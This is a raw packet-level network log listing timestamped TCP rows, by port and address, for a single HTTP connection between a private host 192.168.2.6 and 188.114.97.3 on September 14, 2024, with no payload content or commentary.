Sep 14, 2024 18:44:17.840373993 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.840385914 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.840414047 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.840593100 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.840606928 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.840622902 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.840641975 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.840651035 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.840667963 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.840682983 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.840693951 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.840708017 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.840722084 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.840908051 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.840922117 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.840939045 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.840950012 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.840962887 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.840972900 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.840986967 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.841001034 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.841016054 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.841028929 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.841053963 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.841064930 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.841078997 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.841093063 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.841105938 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.841119051 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.841129065 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.841144085 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.841152906 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.841166019 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.841181993 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.841192961 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.841204882 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.841216087 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.841228008 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.841243029 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.841258049 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.841265917 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.841279984 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.841290951 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.841859102 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.841872931 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.841890097 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.841902971 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.841913939 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.841926098 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.841938019 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.841952085 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.841964960 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.841974020 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.842000008 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.842005968 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.842019081 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.842034101 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.842047930 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.842057943 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.842071056 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.842088938 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.842096090 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.842108965 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.842123985 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.842134953 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.842147112 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.842160940 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.842170000 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.842185974 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.842202902 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.842211962 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.842225075 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.842240095 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.842264891 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.842284918 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.842830896 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.842848063 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.842863083 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.842878103 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.842885971 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.842906952 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.842916012 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.842928886 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.842943907 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.842957973 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.842968941 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.842989922 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.842997074 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.843012094 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.843027115 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.843041897 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.843050957 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.843064070 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.843075037 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.843087912 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.843102932 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.843116999 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.843126059 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.843138933 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.843153000 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.843168974 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.843182087 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.843198061 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.843206882 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.843219995 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.843238115 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.843950033 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.843966007 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.843980074 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.843995094 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.844002962 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.844017982 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.844027996 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.844041109 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.844054937 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.844064951 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.844079971 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.844094038 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.844104052 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.844116926 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.844130993 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.844141006 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.844155073 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.844162941 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.844175100 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.844189882 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.844206095 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.844214916 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.844228983 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.844244957 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.844647884 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.927934885 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.927983999 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.927999020 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.928014040 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.928081036 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.928091049 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.928112030 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.928126097 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.928142071 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.928150892 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.928160906 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.928195000 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.928281069 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.928294897 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.928309917 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.928323984 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.928338051 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.928349018 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.928359985 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.928570986 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.928589106 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.928602934 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.928622007 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.928628922 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.928646088 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.928653002 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.928666115 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.928679943 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.928690910 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.928704023 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.928719044 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.928729057 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.928755045 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.929018974 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.929033995 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.929048061 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.929054976 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.929069042 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.929083109 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.929091930 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.929105997 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.929116011 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.929128885 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.929142952 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.929157019 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.929166079 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.929178953 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.929191113 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.929200888 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.929217100 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.929230928 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.929241896 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.929255962 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.929280996 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.929620028 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.929635048 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.929656029 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.929665089 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.929678917 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.929688931 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.929701090 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.929716110 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.929729939 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.929739952 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.929752111 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.929770947 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.929776907 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.929789066 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.929802895 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.929811954 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.929826021 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.929840088 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.930285931 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.930300951 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.930324078 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.930332899 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.930346012 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.930360079 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.930371046 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.930383921 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.930397987 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.930408001 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.930419922 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.930433989 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.930442095 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.930454969 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.930466890 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.930478096 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.930491924 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.930506945 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.930515051 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.930529118 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.930541992 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.930552006 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.930566072 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.930579901 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.930584908 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.930597067 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.930609941 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.930624008 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.930633068 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.930649042 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.931277990 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.931301117 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.931314945 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.931324005 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.931337118 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.931349993 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.931360960 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.931375980 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.931404114 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.931421041 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.931435108 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.931448936 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.931463957 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.931478024 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.931492090 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.931502104 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.931515932 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.931535959 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.931543112 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.931555986 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.931572914 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.931579113 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.931591988 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.931605101 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.931615114 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.931628942 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.931647062 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.931655884 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.931668997 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.931683064 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.932270050 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.932285070 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.932298899 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.932312965 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.932322979 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.932337046 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.932346106 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.932358980 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.932374001 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.932384014 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.932395935 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.932415009 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.932420969 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.932434082 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.932447910 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.932456970 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.932470083 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.932483912 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.932492018 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.932507038 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.932521105 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.932531118 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.932543993 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.932555914 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.932568073 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.932607889 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.976116896 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.976149082 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.976164103 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.976231098 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.976283073 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.976296902 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.976310968 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.976325035 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.976339102 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.976349115 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.976387978 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.016575098 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.016678095 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.016695976 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.016724110 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.016748905 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.016772985 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.016810894 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.016827106 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.016865969 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.016881943 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.016896009 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.016937971 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.017107010 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.017292976 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.017307043 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.017337084 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.018255949 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.018270969 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.018285036 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.018296957 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.018311024 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.018321037 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.018333912 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.018347025 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.018357038 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.018376112 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.018383026 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.018400908 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.018412113 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.018425941 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.018440008 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.018449068 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.018461943 CEST	80	49722	188.114.97.3	192.168.2.6
